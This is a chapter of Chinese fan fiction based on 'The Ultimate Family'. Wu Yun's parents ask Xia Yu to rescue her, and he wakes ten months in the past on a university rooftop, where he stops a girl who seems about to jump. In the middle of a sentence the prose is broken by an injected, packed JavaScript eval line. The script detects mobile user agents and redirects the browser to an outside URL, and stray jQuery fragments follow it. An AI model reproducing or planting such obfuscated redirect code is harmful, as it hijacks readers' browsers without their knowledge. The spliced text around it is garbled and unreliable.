37.如期而至
作品:《[终极一家]乌云来了会下雨》 “请问,夏宇在家吗?”
距离任何人都始料未及的稀客造访时问的这句话已经过去了一个小时,夏公馆里大部分人都已平静接受了他们的身份,只有少部分的人还在小声嘀咕。
“小哥,那真的是……的爸爸妈妈吗?怎么会这么年轻啊,看起来简直不到30岁欸?”夏美凑到夏天耳边继续惊叹,“怎么这么会保养啊?”
“他们刚刚有讲啊,因为这么多年一直待在时空夹缝里,时间相对流速更慢就更不容易衰老了……”
“看起来呆在那里也有好处欸,可以永远年轻咯?”
“妹……”
*
一个小时前,夏公馆门口。
见眼前的眼前的青年人似乎对他们两人的面容震诧不已,陌生女人便更温和地笑了,“看来你有在我们家里的相片里见过我们很多次。”
“你们真的是……?”夏宇的态度却并未因此而有软化,他几乎脱口而出,“可……一直都难过你们早早就离世了,如果你们一直都活着,为什么那么早就要离开她?甚至要骗她你们已经死了——”
他的言辞也丝毫没有掩饰,甚至隐隐动怒,不由为那个翻着父母遗物曾在他怀中痛哭的家伙感到阵阵心痛。
陌生女人却不觉得被冒犯,反而极其欣慰地叹道,“真是敏锐的年轻人啊……”
“我们并没有骗她,而是有不得已的苦衷,必须要让她以为,我们已经过世了——”
这时屋内的所有人都挤到了夏公馆门口,陌生女人朝他们一欠身,“诸位好,我是乌云的母亲乌苏里迩·镜,这是她的父亲湛卢,我们深深地感谢大家这段时间对乌云的照顾,以及这些天里一直辛苦地寻找她的下落……”
两个极其敏感的字眼瞬间便被夏宇捕捉到,夏美难得发现新大陆般地高声点破, “你你你可以说出……的名字!!”
耳畔炸开几朵火花,夏宇更是顺其延伸思路,“所以你们有办法救她!?”
自称是乌云的母亲的女人面目凝重地点了点头,“这正是我们来此的目的,也是我和她父亲两个人离开铁时空近二十年的理由……”
她望向夏宇的目光充满了恳求,“而最终我们发现,整个十二时空里,现在唯一有可能可以救她的人,就是你——夏宇。”
夏宇的心脏霎时停跳一拍。
*
乌镜与湛卢夫妻两人被围在夏公馆的客厅中央,朝他们讲述了这段长达近二十年的时空流浪之旅。
“第一次预知到乌云的存在的时候,我感到无比的幸福,甚至无比庆幸我是乌苏里迩家族的通灵师,我可以比天底下所有的妈妈都要更快一步见到我还未出生的宝宝,更快一步看到宝宝长大一些的样子……”
“她还没出世,我就已经看到了她牙牙学语,蹒跚学步的可爱模样,看着她笑,看着她跳,我和湛卢约好,我们一定是天底下最开明的父母,我们会做她的爸爸妈妈,也会做她的好朋友,一直陪着她,直到死亡将我们和她分开……”
这时已经不会有人怀疑她不是乌云的母亲了,她们的眼睛几乎是如出一辙的形状,笑起来嘴角的弧度也一模一样,在她回忆时,也总带着浓浓的幸福笑意。
但那笑意逐渐隐去。
“直到她出生那天的夜里,一种突如其来的异能波动,似乎强化了无数倍我的通灵预知能力,我几乎轻而易举地看到了二十年后的她——”
“她的未来一片虚无!”
“我看不到乌云在二十年后是生还是死,她的命运是一团混沌,但死兆太过鲜明,我不敢相信,就只能用力地一遍一遍地,反复地去看,期望只是我的失误,期待会有新的转机……”
“但没有,无论过程如何变化,结局都是那片虚无……”
乌镜的声音很轻很轻,像大声开口就会惊起雪崩鸟飞。
“与此同时,我也在迅速变得虚弱,毫无理由地,通灵师的力量像在那一晚彻底透支了,生命力也像随着这力量一起快要全部消失……”
“那几天里,我父亲几乎耗尽半身功力通灵才终于找到了一些虚无缥缈的传说……”
“传说乌苏里迩家族的力量会代代累积,积累到某一代时,便会觉醒法则之力,可这法则之力换言之就是神祇之力,岂是肉体凡胎可以承受的?法则之力凝结于神魂肉身,积累到某个临界点时则会爆体而亡,神魂肉身又依托于法则之力,若失去这股力量,亦同样会随之消散而亡……这下是真正的进退两难……”
乌镜双眉紧锁,深深叹息,“这幸运的不幸,正降临在我的女儿,乌云身上了……”
“而我作为她的生身母亲,血脉相连的通灵师,我只要在她身边一天,哪怕只是同处一个时空,便会令她的法则之力日日增强,无异于是她的催命符!”
夏宇彻底领悟,“所以你们才……”
“没错,乌云出生后不久,我才意识到,原来这段时间我通灵预知看到的,其实都是她看到后共感给我的……她才刚出生,通灵预知力量就已经强大至此,甚至已经看到了自己的最终命运……我怎么忍心,让她从小就要面临着这样的未来——”
“在离开她之前的那一年里,我和湛卢曾去了灵界一趟,传闻那里曾有神祇遗迹,我们便怀着一丝希望猜想那里会不会有可以拯救乌云的东西,或者至少能让她无忧无虑长大的东西……”
乌镜的目光遥遥看向虚空远方,记忆重叠交错,弥久鲜明。
“在那里,我们看到了最后的预知——乌苏里迩家族代代传下来的灵犀坠,这一代将认主乌云,神祇遗迹里埋藏的最后两枚桫椤奇石,也将属于灵犀坠的主人……”
“我们在离开铁时空前,将这三件宝物都交给了我的父母,让他们在乌云再长大一些,只先告诉她这是她的父母亲在她出世前送给她的礼物……”
不必提醒,夏宇便立刻反应了过来。
“灵犀坠戴在她的手上,那两枚桫椤奇石就是——那两枚戒指……?”
乌镜默认,喟叹一声,“果然,你便是……”。
夏宇垂下眼睛,声音也低了下去,心口有无法言明的情绪团团将他紧紧缠绕,他快要喘不过来气来。
他伸手在口袋里静悄悄地取出来了个盒子,在所有人眼前拨开了塔扣,暗红色的天鹅绒底上静静躺着一枚古朴的银戒,上面镶嵌着颗幽蓝的宝石,正隐隐溢着流光。
“这是唯一没有随着她一起消失的东西……”
夏宇声音喑哑,‘唯一’这两个字前所未有地令人伤痛。
他自恢复记忆后便将那间乌云曾经住过的屋子翻了个底朝天,渴望能发现任何蛛丝马迹,那里却空空荡荡,仿佛她从未来过这里。
他无法确定这是乌云刻意将痕迹清除得干干净净,还是那无法言说的法则无情地将一切都抹去,他甚至还需要保持一丝感激,至少,至少角落里,她还留下了一件物品。
也许这是她曾存在他的世界里的,也许这是她曾爱过自己的唯一证明。
这里不是婚礼,没有宣誓人,没有新娘新郎,甚至戒指也不成双成对。
夏宇却毫无迟疑地将来自她的最后一份礼物——这孤零零的戒指取了出来,套进左手无名指上,严丝合缝,不必质疑,他就是这枚戒指的主人。
他缓缓攥紧了手心,戒指硌得指骨生疼,他毫不在乎,只是按捺着微颤的呼吸,强自平静开口问道,“我该怎样才能救她?”
望着他这样黯淡的脸庞,与炽热的眼睛,乌镜看透了他孤注一掷的内心,她脸上歉疚的神情愈发无法掩饰,只得酿成深深叹息。
“对不起,夏宇,还有夏宇的家人朋友,我无法违背我的良心来哄骗你们,如果我和湛卢两个人就可以去救乌云,那万死也不足惜……可现在唯一有可能救回乌云的人是夏宇,而这只是可能性,不是百分百的概率——”
雄哥张口隐隐想要说些什么,乌镜明白她的心声,她只能再次强调,“夏宇也许可以救回乌云,但也许——”
夏宇嗓音仍旧暗哑,却极其清晰有力。
“也许我会跟她一起消失?”
他垂首凝望着掌心,那枚蓝宝石银戒仍在泛着幽光,他的语调恢复了往日的漫不经心。
“那也没有关系。”
*
“乌云诞生于法则之力,她的既定命运便是肉身与魂魄都将尘归与尘,重归法则之力本身……”
“我们唯一能赌的,就是她还没有彻底失去她的本我意识,也许能够在她彻底化为法则之前,将她唤醒,或许还有一线生机……”
乌镜凝重强调。
“唤醒她?”夏宇喃喃重复。
“对,前提是,需要先找到她。”乌镜指向他佩戴的那枚戒指,“桫椤奇石一枚在你身上,另一枚如果随着她一同消失的话,那加上你们的灵犀契,也许可以令你像曾经的乌云将你从时空夹缝召唤回来一般,反过来,将你带到她的身边……”
乌镜深吸了口气,试图掩饰她的哽咽。
“而这就是,我们救回她最后的希望……”
*
夏公馆客厅里静悄悄地围坐了一圈人,但连一向最爱哭嚎的夏美也只是含着一泡泪可怜巴巴盯着夏宇,无人出声。
夏宇则是按照乌镜的指示,盘膝坐在一角,阖上了双眼。
“请开始吧。”
下一刻,他的脑中便能听到乌镜传音而来的乌苏里迩家族的通灵师的秘而不传的通灵诀。
夏宇跟随其一字一句默念。
渐渐地,他的身体仿佛迎来了这段时间以来前所未有的轻松,像失去了所有重量,轻飘飘的像一阵风,像一朵云。
灵魂得到了真正的自由。
很快,所有的束缚都在一步步离开他的身体,先是呼吸,再是思考,然后是记忆,最后是自我。
他在他未知的空间里缓慢地陷入了沉眠。
再不知道时间的流逝,不清楚岁月的辗转。
*
台大椰林大道的正午时分,一向是一天中日光最烁亮的时刻。
有人骑着单车在风里鼓着衣角,卷着刘海,呼啸着转弯飞驰而过,有人三三两两各自抱着一坨书,边侧着脸笑说着待会要去吃的店,也有人形单影只,背着个单肩包,以一向不徐不缓的步伐,正沿着这条大道逐步向前。
他的目的地很偏远,很冷清,优点是足够安静。
校史馆不远处学生们时常会忘记叫什么名字的那栋楼里,走廊灯光有些昏暗,两边的绿漆白墙反射的光倒会增添明亮,但显然还不够亮到纤毫无影,老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815946|173676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楼还没来得及建电梯,楼梯扶手上的漆剥落大半,他毫不迟疑地拾阶而上。
往日总是锁着的天台的门,今天正虚虚掩了条缝。
他习惯性握着钥匙的手一顿,随手塞回了口袋里,抓着掉漆的门把手稍稍用力一拉,刹那间门外的日光蜂拥而至,刺目得他微微眯上了眼睛。
天台上只有幽静风声,不见人迹,没有他最坏打算的那种——例如有什么乐队在这里练团之类。
他朝着自己的老位置走去,那是视野里最靠近天空的地方。
此刻,风中隐隐飘来了校广播里的音乐,舒缓乐声里夹杂着播音员的柔和念白,他隐隐约约听清了开头的几句。
“简媜的书里曾有这样一句话——我们不要在这里,跟我回去十八岁,躲到台大校园杜鹃花丛下……”
他向来满脑子实用主义,对文学作品大多从无拜读的兴趣,哪怕这是知名作家的名作名句。
但奇怪的是,他却下意识接了下去。
“……不要被命运找到……”
不要被命运找到。
不知哪里,又好像是脑中,传来了什么轰鸣,抑或是低声叹息——
命运却如期而至。
他看到天台护栏墙上站着个白色身影,风里她微卷的长发飘摇不止,长至脚踝的裙摆也翻滚成雪白浪花,她伸开了双臂,下一秒就要像只脆弱的风筝,戛然向下坠落。
他心跳重重响了一拍,几乎本能地朝那个方向大喊出声,“等一下!——”
那个身影应声止住了动作。
没有选择继续往下跳,白裙长发女生微微侧过了头,反倒来望他,风里她的长发翻涌着半遮住了她的脸颊,眼神也模糊不清。
他紧紧盯着她的动作,试探着步步往前,对方却停在原处就这样一动不动地反望着他,没有出现新闻里的跳楼者常有的歇斯底里。
直到他们的距离不足两米时,他才能眯起眼睛,在这极其刺眼的日光里观察起她的模样,她的皮肤莹白而趋近透明,嘴唇却是温柔的红,盈润有生气,眼睛也像盛满了光,竟然带着绝不像个跳楼者的脸上会有的那种极其粲然的笑容。
这简直有点诡异。
他显然不习惯于温和劝慰,这种时刻说出的话也离奇的有点刻薄。
“我好不容易找到了个清净的地方欸,你要是就这么跳下去,之后这里就会被警察封掉,不知道什么时候会解封——不是——”
他深吸一口气,万年嘴上不曾饶人的口吻也赶紧按下撤回键,急忙换了个说法,但这说法似乎也没有好到哪里去。
“我是说!现在你要是掉下去,我就直接就会成为头号犯罪嫌疑人,这里又没有监控,那我要怎么才能洗脱嫌疑——”
他自觉自己果然只适合上法庭辩论,不适合上心理辅导课。
这劝人的话术实在是有点烂……
可站在天台栏杆上的女生却没有因为这样刻薄的喊话有什么愤怒的反应,更没有因此就孤注一掷要往下继续跳,她反而原地彻底地转过身来,纷乱的长发被风刮去了身后,这下她的脸庞再清晰不过了。
仍旧带着笑意。
他听见她的声音也像带着笑,如同她从栏杆上跳回天台上的步伐一样轻盈。
“你是想劝我不要跳楼吗?”
她一步步靠近,他们之间的距离随之步步缩短。
这样在他两三句“劝说”里就能放弃轻生的跳楼者他平生可从未见过,一边自我安慰好歹算是年行一善积攒了功德,一边有难免有种被耍了的恼火。
他脚下一抬,迅速转身,口吻更加不客气,“随便你。”
“干嘛这么冷漠啦……”女生更是扑哧笑开了花,三两步再次回到他面前,背着手往后倒退跟上了他。
“欸,你叫什么名字呀?”见他冷淡不回话,女生也丝毫不沮丧,只是笑嘻嘻地接着问。
我叫什么名字?
我叫……
他的太阳穴处忽地传来一阵刺痛,像是要从两端将他的大脑彻底贯穿,直直痛得眼前灰暗下来,腿下一软,他倒在了原地。
“欸你怎么了,没事吧?!……”耳畔女生惊慌的声音也像渐渐变得遥远。
过了好一会儿,他的视觉听觉触觉才像缓缓醒转。
他扶着额头,轻轻地摇了摇,刺痛过后的声音也变哑,“没事。”
女生搀着他一边的臂膀,扶着他一同站了起来,他侧过脸去,正好与她的面庞贴得极近,双眼对视,她的瞳孔是温暖的褐色,那里正印着他仿佛大病初愈的面孔,以及她满溢的担忧。
奇怪,怎么这样熟悉……
而在他大脑的最深处有个无声无息的答案——
当然熟悉!因为她是……
因为我是……
因为我是……
因为我是夏宇。
——夏宇总算醒过来了。
校园广播台的播音员声音还在响着,只是已经到了尾声,“2006年9月15日的广播到此结束,感谢大家的收听,我们下周再见……”
这仍旧静谧的校园一角的旧楼天台上,乐声与广播声遥远得像另一个时空,而夏宇心神恍惚,许久后才终于反应了过来。
原来,他竟然回到了十个月前!